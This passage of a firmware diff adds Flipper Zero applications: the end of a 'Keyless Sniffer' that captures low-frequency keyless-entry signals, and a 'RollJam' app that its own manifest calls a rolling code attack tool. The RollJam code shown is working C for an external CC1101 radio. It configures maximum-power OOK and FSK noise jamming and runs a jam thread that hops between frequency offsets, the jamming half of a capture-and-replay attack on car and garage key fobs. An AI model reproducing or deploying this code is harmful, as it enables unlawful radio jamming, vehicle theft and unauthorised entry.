||||
FURI_LOG_I(TAG, "Capture stopped: %lu edges, %lu packets",
|
||||
(unsigned long)app->edge_count,
|
||||
(unsigned long)app->packet_count);
|
||||
}
|
||||
|
||||
int32_t lf_sniffer_app(void* p) {
|
||||
UNUSED(p);
|
||||
|
||||
dwt_init();
|
||||
|
||||
LFSnifferApp* app = malloc(sizeof(LFSnifferApp));
|
||||
furi_check(app != NULL);
|
||||
memset(app, 0, sizeof(LFSnifferApp));
|
||||
|
||||
app->edges = malloc(LF_MAX_EDGES * sizeof(LFEdge));
|
||||
furi_check(app->edges != NULL);
|
||||
|
||||
app->mutex = furi_mutex_alloc(FuriMutexTypeNormal);
|
||||
app->queue = furi_message_queue_alloc(16, sizeof(InputEvent));
|
||||
app->notif = furi_record_open(RECORD_NOTIFICATION);
|
||||
app->view_port = view_port_alloc();
|
||||
app->state = LFStateIdle;
|
||||
app->file_index = 0;
|
||||
|
||||
view_port_draw_callback_set(app->view_port, draw_callback, app);
|
||||
view_port_input_callback_set(app->view_port, input_callback, app);
|
||||
|
||||
app->gui = furi_record_open(RECORD_GUI);
|
||||
gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen);
|
||||
|
||||
FURI_LOG_I(TAG, "Keyless Sniffer started");
|
||||
|
||||
InputEvent event;
|
||||
bool running = true;
|
||||
|
||||
while(running) {
|
||||
if(app->state == LFStateCapturing) {
|
||||
furi_mutex_acquire(app->mutex, FuriWaitForever);
|
||||
app->edge_count = g_edge_count;
|
||||
|
||||
if(g_overflow) {
|
||||
furi_mutex_release(app->mutex);
|
||||
lf_stop_capture(app);
|
||||
furi_mutex_acquire(app->mutex, FuriWaitForever);
|
||||
snprintf(app->status_msg, sizeof(app->status_msg),
|
||||
"Buffer full (%d edges)", LF_MAX_EDGES);
|
||||
}
|
||||
furi_mutex_release(app->mutex);
|
||||
view_port_update(app->view_port);
|
||||
}
|
||||
|
||||
FuriStatus status = furi_message_queue_get(app->queue, &event, 100);
|
||||
|
||||
if(status != FuriStatusOk) continue;
|
||||
if(event.type != InputTypeShort && event.type != InputTypeLong) continue;
|
||||
|
||||
switch(app->state) {
|
||||
case LFStateIdle:
|
||||
if(event.key == InputKeyOk) {
|
||||
lf_start_capture(app);
|
||||
view_port_update(app->view_port);
|
||||
} else if(event.key == InputKeyBack) {
|
||||
running = false;
|
||||
}
|
||||
break;
|
||||
|
||||
case LFStateCapturing:
|
||||
if(event.key == InputKeyOk || event.key == InputKeyBack) {
|
||||
lf_stop_capture(app);
|
||||
view_port_update(app->view_port);
|
||||
}
|
||||
break;
|
||||
|
||||
case LFStateDone:
|
||||
if(event.key == InputKeyOk) {
|
||||
furi_mutex_acquire(app->mutex, FuriWaitForever);
|
||||
app->state = LFStateSaving;
|
||||
furi_mutex_release(app->mutex);
|
||||
view_port_update(app->view_port);
|
||||
|
||||
bool saved = lf_save_csv(app);
|
||||
|
||||
furi_mutex_acquire(app->mutex, FuriWaitForever);
|
||||
app->state = saved ? LFStateSaved : LFStateError;
|
||||
app->file_index++;
|
||||
furi_mutex_release(app->mutex);
|
||||
view_port_update(app->view_port);
|
||||
|
||||
if(saved) {
|
||||
notification_message(app->notif, &sequence_success);
|
||||
FURI_LOG_I(TAG, "Saved: %s", app->filename);
|
||||
}
|
||||
} else if(event.key == InputKeyBack) {
|
||||
furi_mutex_acquire(app->mutex, FuriWaitForever);
|
||||
app->state = LFStateIdle;
|
||||
app->edge_count = 0;
|
||||
app->packet_count = 0;
|
||||
furi_mutex_release(app->mutex);
|
||||
view_port_update(app->view_port);
|
||||
}
|
||||
break;
|
||||
|
||||
case LFStateSaved:
|
||||
case LFStateError:
|
||||
if(event.key == InputKeyBack) {
|
||||
furi_mutex_acquire(app->mutex, FuriWaitForever);
|
||||
app->state = LFStateIdle;
|
||||
app->edge_count = 0;
|
||||
app->packet_count = 0;
|
||||
furi_mutex_release(app->mutex);
|
||||
view_port_update(app->view_port);
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(app->state == LFStateCapturing) {
|
||||
g_active = false;
|
||||
furi_hal_gpio_remove_int_callback(LF_INPUT_PIN);
|
||||
furi_hal_gpio_init(LF_INPUT_PIN, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
}
|
||||
|
||||
view_port_enabled_set(app->view_port, false);
|
||||
gui_remove_view_port(app->gui, app->view_port);
|
||||
view_port_free(app->view_port);
|
||||
furi_record_close(RECORD_GUI);
|
||||
furi_record_close(RECORD_NOTIFICATION);
|
||||
furi_mutex_free(app->mutex);
|
||||
furi_message_queue_free(app->queue);
|
||||
free(app->edges);
|
||||
free(app);
|
||||
|
||||
return 0;
|
||||
}
|
||||
80
applications/main/KeylessGoSniffer/lf_sniffer.h
Normal file
80
applications/main/KeylessGoSniffer/lf_sniffer.h
Normal file
@@ -0,0 +1,80 @@
|
||||
#pragma once
|
||||
|
||||
#include <furi.h>
|
||||
#include <gui/gui.h>
|
||||
#include <gui/view_port.h>
|
||||
#include <notification/notification.h>
|
||||
#include <input/input.h>
|
||||
#include <storage/storage.h>
|
||||
#include <furi_hal_gpio.h>
|
||||
#include <furi_hal_resources.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define LF_MAX_EDGES 4096
|
||||
#define LF_GAP_THRESHOLD_US 5000
|
||||
#define LF_CARRIER_HZ 125000
|
||||
#define LF_BIT_PERIOD_US 250
|
||||
#define LF_TIMEOUT_MS 10000
|
||||
#define LF_MAX_PACKETS 16
|
||||
|
||||
#define LF_INPUT_PIN (&gpio_ext_pb2)
|
||||
|
||||
typedef struct {
|
||||
uint32_t duration_us;
|
||||
bool level;
|
||||
} LFEdge;
|
||||
|
||||
typedef struct {
|
||||
uint32_t start_idx;
|
||||
uint32_t edge_count;
|
||||
uint32_t duration_us;
|
||||
} LFPacket;
|
||||
|
||||
typedef enum {
|
||||
LFStateIdle,
|
||||
LFStateCapturing,
|
||||
LFStateDone,
|
||||
LFStateSaving,
|
||||
LFStateSaved,
|
||||
LFStateError,
|
||||
} LFState;
|
||||
|
||||
typedef struct {
|
||||
Gui* gui;
|
||||
ViewPort* view_port;
|
||||
FuriMessageQueue* queue;
|
||||
FuriMutex* mutex;
|
||||
NotificationApp* notif;
|
||||
|
||||
LFState state;
|
||||
char status_msg[64];
|
||||
|
||||
LFEdge* edges;
|
||||
uint32_t edge_count;
|
||||
uint32_t total_time_us;
|
||||
|
||||
LFPacket packets[LF_MAX_PACKETS];
|
||||
uint32_t packet_count;
|
||||
|
||||
uint32_t last_edge_time_us;
|
||||
bool capturing;
|
||||
|
||||
uint32_t carrier_pulses;
|
||||
uint32_t data_pulses;
|
||||
uint32_t min_pulse_us;
|
||||
uint32_t max_pulse_us;
|
||||
|
||||
char filename[128];
|
||||
uint32_t file_index;
|
||||
} LFSnifferApp;
|
||||
|
||||
int32_t lf_sniffer_app(void* p);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
23
applications/main/RollJam/application.fam
Normal file
23
applications/main/RollJam/application.fam
Normal file
@@ -0,0 +1,23 @@
|
||||
App(
|
||||
appid="rolljam",
|
||||
name="RollJam",
|
||||
apptype=FlipperAppType.MENUEXTERNAL,
|
||||
entry_point="rolljam_app",
|
||||
stack_size=4 * 1024,
|
||||
fap_category="Sub-GHz",
|
||||
fap_icon="rolljam.png",
|
||||
fap_icon_assets="images",
|
||||
fap_libs=["assets"],
|
||||
fap_description="RollJam rolling code attack tool",
|
||||
fap_author="@user",
|
||||
fap_version="1.0",
|
||||
fap_weburl="",
|
||||
requires=[
|
||||
"gui",
|
||||
"subghz",
|
||||
"notification",
|
||||
"storage",
|
||||
"dialogs",
|
||||
],
|
||||
provides=[],
|
||||
)
|
||||
568
applications/main/RollJam/helpers/rolljam_cc1101_ext.c
Normal file
568
applications/main/RollJam/helpers/rolljam_cc1101_ext.c
Normal file
@@ -0,0 +1,568 @@
|
||||
#include "rolljam_cc1101_ext.h"
|
||||
#include <furi_hal_gpio.h>
|
||||
#include <furi_hal_resources.h>
|
||||
#include <furi_hal_cortex.h>
|
||||
#include <furi_hal_power.h>
|
||||
|
||||
// ============================================================
|
||||
// 5V OTG power for external modules (e.g. Rabbit Lab Flux Capacitor)
|
||||
// ============================================================
|
||||
|
||||
static bool otg_was_enabled = false;
|
||||
|
||||
static bool use_flux_capacitor = false;
|
||||
|
||||
void rolljam_ext_set_flux_capacitor(bool enabled) {
|
||||
use_flux_capacitor = enabled;
|
||||
}
|
||||
|
||||
static void rolljam_ext_power_on(void) {
|
||||
otg_was_enabled = furi_hal_power_is_otg_enabled();
|
||||
if(!otg_was_enabled) {
|
||||
uint8_t attempts = 0;
|
||||
while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) {
|
||||
furi_hal_power_enable_otg();
|
||||
furi_delay_ms(10);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void rolljam_ext_power_off(void) {
|
||||
if(!otg_was_enabled) {
|
||||
furi_hal_power_disable_otg();
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// GPIO Pins
|
||||
// ============================================================
|
||||
static const GpioPin* pin_mosi = &gpio_ext_pa7;
|
||||
static const GpioPin* pin_miso = &gpio_ext_pa6;
|
||||
static const GpioPin* pin_cs = &gpio_ext_pa4;
|
||||
static const GpioPin* pin_sck = &gpio_ext_pb3;
|
||||
static const GpioPin* pin_gdo0 = &gpio_ext_pb2;
|
||||
static const GpioPin* pin_amp = &gpio_ext_pc3;
|
||||
|
||||
// ============================================================
|
||||
// CC1101 Registers
|
||||
// ============================================================
|
||||
#define CC_IOCFG2 0x00
|
||||
#define CC_IOCFG0 0x02
|
||||
#define CC_FIFOTHR 0x03
|
||||
#define CC_SYNC1 0x04
|
||||
#define CC_SYNC0 0x05
|
||||
#define CC_PKTLEN 0x06
|
||||
#define CC_PKTCTRL1 0x07
|
||||
#define CC_PKTCTRL0 0x08
|
||||
#define CC_FSCTRL1 0x0B
|
||||
#define CC_FSCTRL0 0x0C
|
||||
#define CC_FREQ2 0x0D
|
||||
#define CC_FREQ1 0x0E
|
||||
#define CC_FREQ0 0x0F
|
||||
#define CC_MDMCFG4 0x10
|
||||
#define CC_MDMCFG3 0x11
|
||||
#define CC_MDMCFG2 0x12
|
||||
#define CC_MDMCFG1 0x13
|
||||
#define CC_MDMCFG0 0x14
|
||||
#define CC_DEVIATN 0x15
|
||||
#define CC_MCSM1 0x17
|
||||
#define CC_MCSM0 0x18
|
||||
#define CC_FOCCFG 0x19
|
||||
#define CC_AGCCTRL2 0x1B
|
||||
#define CC_AGCCTRL1 0x1C
|
||||
#define CC_AGCCTRL0 0x1D
|
||||
#define CC_FREND0 0x22
|
||||
#define CC_FSCAL3 0x23
|
||||
#define CC_FSCAL2 0x24
|
||||
#define CC_FSCAL1 0x25
|
||||
#define CC_FSCAL0 0x26
|
||||
#define CC_TEST2 0x2C
|
||||
#define CC_TEST1 0x2D
|
||||
#define CC_TEST0 0x2E
|
||||
#define CC_PATABLE 0x3E
|
||||
#define CC_TXFIFO 0x3F
|
||||
|
||||
#define CC_PARTNUM 0x30
|
||||
#define CC_VERSION 0x31
|
||||
#define CC_MARCSTATE 0x35
|
||||
#define CC_TXBYTES 0x3A
|
||||
|
||||
#define CC_SRES 0x30
|
||||
#define CC_SCAL 0x33
|
||||
#define CC_STX 0x35
|
||||
#define CC_SIDLE 0x36
|
||||
#define CC_SFTX 0x3B
|
||||
|
||||
#define MARC_IDLE 0x01
|
||||
#define MARC_TX 0x13
|
||||
|
||||
// ============================================================
|
||||
// Bit-bang SPI
|
||||
// ============================================================
|
||||
|
||||
static inline void spi_delay(void) {
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
__NOP(); __NOP(); __NOP(); __NOP();
|
||||
}
|
||||
|
||||
static inline void cs_lo(void) {
|
||||
furi_hal_gpio_write(pin_cs, false);
|
||||
spi_delay(); spi_delay();
|
||||
}
|
||||
|
||||
static inline void cs_hi(void) {
|
||||
spi_delay();
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
spi_delay(); spi_delay();
|
||||
}
|
||||
|
||||
static bool wait_miso(uint32_t us) {
|
||||
CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;
|
||||
DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;
|
||||
uint32_t s = DWT->CYCCNT;
|
||||
uint32_t t = (SystemCoreClock / 1000000) * us;
|
||||
while(furi_hal_gpio_read(pin_miso)) {
|
||||
if((DWT->CYCCNT - s) > t) return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static uint8_t spi_byte(uint8_t tx) {
|
||||
uint8_t rx = 0;
|
||||
for(int8_t i = 7; i >= 0; i--) {
|
||||
furi_hal_gpio_write(pin_mosi, (tx >> i) & 0x01);
|
||||
spi_delay();
|
||||
furi_hal_gpio_write(pin_sck, true);
|
||||
spi_delay();
|
||||
if(furi_hal_gpio_read(pin_miso)) rx |= (1 << i);
|
||||
furi_hal_gpio_write(pin_sck, false);
|
||||
spi_delay();
|
||||
}
|
||||
return rx;
|
||||
}
|
||||
|
||||
static uint8_t cc_strobe(uint8_t cmd) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
uint8_t s = spi_byte(cmd);
|
||||
cs_hi();
|
||||
return s;
|
||||
}
|
||||
|
||||
static void cc_write(uint8_t a, uint8_t v) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return; }
|
||||
spi_byte(a);
|
||||
spi_byte(v);
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
static uint8_t cc_read(uint8_t a) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
spi_byte(a | 0x80);
|
||||
uint8_t v = spi_byte(0x00);
|
||||
cs_hi();
|
||||
return v;
|
||||
}
|
||||
|
||||
static uint8_t cc_read_status(uint8_t a) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return 0xFF; }
|
||||
spi_byte(a | 0xC0);
|
||||
uint8_t v = spi_byte(0x00);
|
||||
cs_hi();
|
||||
return v;
|
||||
}
|
||||
|
||||
static void cc_write_burst(uint8_t a, const uint8_t* d, uint8_t n) {
|
||||
cs_lo();
|
||||
if(!wait_miso(5000)) { cs_hi(); return; }
|
||||
spi_byte(a | 0x40);
|
||||
for(uint8_t i = 0; i < n; i++) spi_byte(d[i]);
|
||||
cs_hi();
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Helpers
|
||||
// ============================================================
|
||||
|
||||
static bool cc_reset(void) {
|
||||
cs_hi(); furi_delay_us(30);
|
||||
cs_lo(); furi_delay_us(30);
|
||||
cs_hi(); furi_delay_us(50);
|
||||
cs_lo();
|
||||
if(!wait_miso(10000)) { cs_hi(); return false; }
|
||||
spi_byte(CC_SRES);
|
||||
if(!wait_miso(100000)) { cs_hi(); return false; }
|
||||
cs_hi();
|
||||
furi_delay_ms(5);
|
||||
FURI_LOG_I(TAG, "EXT: Reset OK");
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool cc_check(void) {
|
||||
uint8_t p = cc_read_status(CC_PARTNUM);
|
||||
uint8_t v = cc_read_status(CC_VERSION);
|
||||
FURI_LOG_I(TAG, "EXT: PART=0x%02X VER=0x%02X", p, v);
|
||||
return (v == 0x14 || v == 0x04 || v == 0x03);
|
||||
}
|
||||
|
||||
static uint8_t cc_state(void) {
|
||||
return cc_read_status(CC_MARCSTATE) & 0x1F;
|
||||
}
|
||||
|
||||
static uint8_t cc_txbytes(void) {
|
||||
return cc_read_status(CC_TXBYTES) & 0x7F;
|
||||
}
|
||||
|
||||
static void cc_idle(void) {
|
||||
cc_strobe(CC_SIDLE);
|
||||
for(int i = 0; i < 500; i++) {
|
||||
if(cc_state() == MARC_IDLE) return;
|
||||
furi_delay_us(50);
|
||||
}
|
||||
}
|
||||
|
||||
static void cc_set_freq(uint32_t f) {
|
||||
uint32_t r = (uint32_t)(((uint64_t)f << 16) / 26000000ULL);
|
||||
cc_write(CC_FREQ2, (r >> 16) & 0xFF);
|
||||
cc_write(CC_FREQ1, (r >> 8) & 0xFF);
|
||||
cc_write(CC_FREQ0, r & 0xFF);
|
||||
}
|
||||
|
||||
static bool cc_configure_jam(uint32_t freq) {
|
||||
FURI_LOG_I(TAG, "EXT: Config OOK noise jam at %lu Hz", freq);
|
||||
cc_idle();
|
||||
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
|
||||
// Fixed packet length, 255 bytes per packet
|
||||
cc_write(CC_PKTCTRL0, 0x00); // Fixed length, no CRC, no whitening
|
||||
cc_write(CC_PKTCTRL1, 0x00); // No address check
|
||||
cc_write(CC_PKTLEN, 0xFF); // 255 bytes per packet
|
||||
|
||||
// FIFO threshold: alert when TX FIFO has space for 33+ bytes
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
|
||||
// No sync word - just raw data
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
|
||||
// Frequency
|
||||
cc_set_freq(freq);
|
||||
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
|
||||
// CRITICAL: LOW data rate to prevent FIFO underflow
|
||||
// 1.2 kBaud: DRATE_E=5, DRATE_M=67
|
||||
// At this rate, 64 bytes = 64*8/1200 = 426ms before FIFO empty
|
||||
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz (for TX spectral output), DRATE_E=5
|
||||
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
|
||||
cc_write(CC_MDMCFG2, 0x30); // ASK/OOK, no sync word
|
||||
cc_write(CC_MDMCFG1, 0x00); // No preamble
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
cc_write(CC_DEVIATN, 0x47);
|
||||
|
||||
// Auto-return to TX after packet sent
|
||||
cc_write(CC_MCSM1, 0x00); // TXOFF -> IDLE (we manually re-enter TX)
|
||||
cc_write(CC_MCSM0, 0x18); // Auto-cal IDLE->TX
|
||||
|
||||
// MAX TX power
|
||||
cc_write(CC_FREND0, 0x11); // PA index 1 for OOK high
|
||||
|
||||
// PATABLE: ALL entries at max power
|
||||
// Index 0 = 0x00 for OOK "0" (off)
|
||||
// Index 1 = 0xC0 for OOK "1" (+12 dBm)
|
||||
uint8_t pa[8] = {0x00, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
|
||||
// Calibration
|
||||
cc_write(CC_FSCAL3, 0xEA);
|
||||
cc_write(CC_FSCAL2, 0x2A);
|
||||
cc_write(CC_FSCAL1, 0x00);
|
||||
cc_write(CC_FSCAL0, 0x1F);
|
||||
|
||||
// Test regs
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
|
||||
// Calibrate
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
|
||||
// Verify configuration
|
||||
uint8_t st = cc_state();
|
||||
uint8_t mdm4 = cc_read(CC_MDMCFG4);
|
||||
uint8_t mdm3 = cc_read(CC_MDMCFG3);
|
||||
uint8_t mdm2 = cc_read(CC_MDMCFG2);
|
||||
uint8_t pkt0 = cc_read(CC_PKTCTRL0);
|
||||
uint8_t plen = cc_read(CC_PKTLEN);
|
||||
uint8_t pa0 = cc_read(CC_PATABLE);
|
||||
|
||||
FURI_LOG_I(TAG, "EXT: MDM4=0x%02X MDM3=0x%02X MDM2=0x%02X PKT0=0x%02X PLEN=%d PA=0x%02X state=0x%02X",
|
||||
mdm4, mdm3, mdm2, pkt0, plen, pa0, st);
|
||||
|
||||
return (st == MARC_IDLE);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// FSK jam configuration (FM238 / FM476)
|
||||
// Same low-rate FIFO approach but 2-FSK modulation
|
||||
// ============================================================
|
||||
static bool cc_configure_jam_fsk(uint32_t freq, bool wide) {
|
||||
FURI_LOG_I(TAG, "EXT: Config FSK noise jam at %lu Hz (wide=%d)", freq, wide);
|
||||
cc_idle();
|
||||
|
||||
cc_write(CC_IOCFG0, 0x02);
|
||||
cc_write(CC_IOCFG2, 0x2F);
|
||||
cc_write(CC_PKTCTRL0, 0x00);
|
||||
cc_write(CC_PKTCTRL1, 0x00);
|
||||
cc_write(CC_PKTLEN, 0xFF);
|
||||
cc_write(CC_FIFOTHR, 0x07);
|
||||
cc_write(CC_SYNC1, 0x00);
|
||||
cc_write(CC_SYNC0, 0x00);
|
||||
|
||||
cc_set_freq(freq);
|
||||
cc_write(CC_FSCTRL1, 0x06);
|
||||
cc_write(CC_FSCTRL0, 0x00);
|
||||
|
||||
// 1.2 kBaud 2-FSK, same low rate to avoid FIFO underflow
|
||||
cc_write(CC_MDMCFG4, 0x85); // BW=325kHz, DRATE_E=5
|
||||
cc_write(CC_MDMCFG3, 0x43); // DRATE_M=67 → ~1.2 kBaud
|
||||
cc_write(CC_MDMCFG2, 0x00); // 2-FSK, no sync word
|
||||
cc_write(CC_MDMCFG1, 0x00);
|
||||
cc_write(CC_MDMCFG0, 0xF8);
|
||||
|
||||
// Deviation: FM238=~2.4kHz, FM476=~47.6kHz
|
||||
cc_write(CC_DEVIATN, wide ? 0x47 : 0x15);
|
||||
|
||||
cc_write(CC_MCSM1, 0x00);
|
||||
cc_write(CC_MCSM0, 0x18);
|
||||
|
||||
// FSK: constant PA, no OOK shaping
|
||||
cc_write(CC_FREND0, 0x10);
|
||||
uint8_t pa[8] = {0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0, 0xC0};
|
||||
cc_write_burst(CC_PATABLE, pa, 8);
|
||||
|
||||
cc_write(CC_FSCAL3, 0xEA);
|
||||
cc_write(CC_FSCAL2, 0x2A);
|
||||
cc_write(CC_FSCAL1, 0x00);
|
||||
cc_write(CC_FSCAL0, 0x1F);
|
||||
cc_write(CC_TEST2, 0x81);
|
||||
cc_write(CC_TEST1, 0x35);
|
||||
cc_write(CC_TEST0, 0x09);
|
||||
|
||||
cc_idle();
|
||||
cc_strobe(CC_SCAL);
|
||||
furi_delay_ms(2);
|
||||
cc_idle();
|
||||
|
||||
uint8_t st = cc_state();
|
||||
uint8_t mdm2 = cc_read(CC_MDMCFG2);
|
||||
uint8_t dev = cc_read(CC_DEVIATN);
|
||||
FURI_LOG_I(TAG, "EXT FSK: MDM2=0x%02X DEV=0x%02X state=0x%02X", mdm2, dev, st);
|
||||
return (st == MARC_IDLE);
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// Jam thread - FIFO-fed OOK at low data rate
|
||||
// ============================================================
|
||||
|
||||
static void jam_start_tx(const uint8_t* pattern, uint8_t len) {
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_ms(1);
|
||||
cc_write_burst(CC_TXFIFO, pattern, len);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(5);
|
||||
}
|
||||
|
||||
static int32_t jam_thread_worker(void* context) {
|
||||
RollJamApp* app = context;
|
||||
|
||||
bool is_fsk = (app->mod_index == ModIndex_FM238 || app->mod_index == ModIndex_FM476);
|
||||
uint32_t jam_freq_pos = app->frequency + app->jam_offset_hz;
|
||||
uint32_t jam_freq_neg = app->frequency - app->jam_offset_hz;
|
||||
|
||||
FURI_LOG_I(TAG, "========================================");
|
||||
FURI_LOG_I(TAG, "JAM: Target=%lu Offset=%lu FSK=%d",
|
||||
app->frequency, app->jam_offset_hz, is_fsk);
|
||||
FURI_LOG_I(TAG, "========================================");
|
||||
|
||||
if(!cc_reset()) {
|
||||
FURI_LOG_E(TAG, "JAM: Reset failed!");
|
||||
return -1;
|
||||
}
|
||||
if(!cc_check()) {
|
||||
FURI_LOG_E(TAG, "JAM: No chip!");
|
||||
return -1;
|
||||
}
|
||||
|
||||
bool jam_ok = false;
|
||||
if(app->mod_index == ModIndex_FM238) {
|
||||
jam_ok = cc_configure_jam_fsk(jam_freq_pos, false);
|
||||
} else if(app->mod_index == ModIndex_FM476) {
|
||||
jam_ok = cc_configure_jam_fsk(jam_freq_pos, true);
|
||||
} else {
|
||||
jam_ok = cc_configure_jam(jam_freq_pos);
|
||||
}
|
||||
if(!jam_ok) {
|
||||
FURI_LOG_E(TAG, "JAM: Config failed!");
|
||||
return -1;
|
||||
}
|
||||
|
||||
static const uint8_t noise_pattern[62] = {
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55,0xAA,0x55,0xAA,0x55,0xAA,0x55,
|
||||
0xAA,0x55
|
||||
};
|
||||
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, true);
|
||||
jam_start_tx(noise_pattern, 62);
|
||||
|
||||
uint8_t st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
cc_idle();
|
||||
jam_start_tx(noise_pattern, 62);
|
||||
st = cc_state();
|
||||
if(st != MARC_TX) {
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
FURI_LOG_E(TAG, "JAM: Cannot enter TX!");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
FURI_LOG_I(TAG, "JAM: *** ACTIVE ***");
|
||||
|
||||
uint32_t loops = 0;
|
||||
uint32_t underflows = 0;
|
||||
uint32_t refills = 0;
|
||||
bool on_positive_offset = true;
|
||||
|
||||
while(app->jam_thread_running) {
|
||||
loops++;
|
||||
|
||||
if(is_fsk && (loops % 4 == 0)) {
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_us(100);
|
||||
|
||||
on_positive_offset = !on_positive_offset;
|
||||
cc_set_freq(on_positive_offset ? jam_freq_pos : jam_freq_neg);
|
||||
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
st = cc_state();
|
||||
|
||||
if(st != MARC_TX) {
|
||||
underflows++;
|
||||
cc_idle();
|
||||
cc_strobe(CC_SFTX);
|
||||
furi_delay_us(100);
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, 62);
|
||||
cc_strobe(CC_STX);
|
||||
furi_delay_ms(1);
|
||||
continue;
|
||||
}
|
||||
|
||||
uint8_t txb = cc_txbytes();
|
||||
if(txb < 20) {
|
||||
uint8_t space = 62 - txb;
|
||||
if(space > 50) space = 50;
|
||||
cc_write_burst(CC_TXFIFO, noise_pattern, space);
|
||||
refills++;
|
||||
}
|
||||
|
||||
if(loops % 500 == 0) {
|
||||
FURI_LOG_I(TAG, "JAM: loops=%lu uf=%lu refills=%lu txb=%d",
|
||||
loops, underflows, refills, cc_txbytes());
|
||||
}
|
||||
|
||||
furi_delay_ms(50);
|
||||
}
|
||||
|
||||
cc_idle();
|
||||
if(use_flux_capacitor) furi_hal_gpio_write(pin_amp, false);
|
||||
cc_write(CC_IOCFG2, 0x2E);
|
||||
FURI_LOG_I(TAG, "JAM: STOPPED (loops=%lu uf=%lu refills=%lu)", loops, underflows, refills);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// GPIO
|
||||
// ============================================================
|
||||
|
||||
void rolljam_ext_gpio_init(void) {
|
||||
FURI_LOG_I(TAG, "EXT GPIO init");
|
||||
furi_hal_gpio_init(pin_cs, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_cs, true);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_sck, false);
|
||||
furi_hal_gpio_init(pin_mosi, GpioModeOutputPushPull, GpioPullNo, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_write(pin_mosi, false);
|
||||
furi_hal_gpio_init(pin_miso, GpioModeInput, GpioPullUp, GpioSpeedVeryHigh);
|
||||
furi_hal_gpio_init(pin_gdo0, GpioModeInput, GpioPullDown, GpioSpeedVeryHigh);
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeOutputPushPull);
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
}
|
||||
}
|
||||
|
||||
void rolljam_ext_gpio_deinit(void) {
|
||||
if(use_flux_capacitor) {
|
||||
furi_hal_gpio_write(pin_amp, false);
|
||||
furi_hal_gpio_init_simple(pin_amp, GpioModeAnalog);
|
||||
}
|
||||
furi_hal_gpio_init(pin_cs, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
furi_hal_gpio_init(pin_sck, GpioModeAnalog, GpioPullNo, GpioSpeedLow);
|
||||
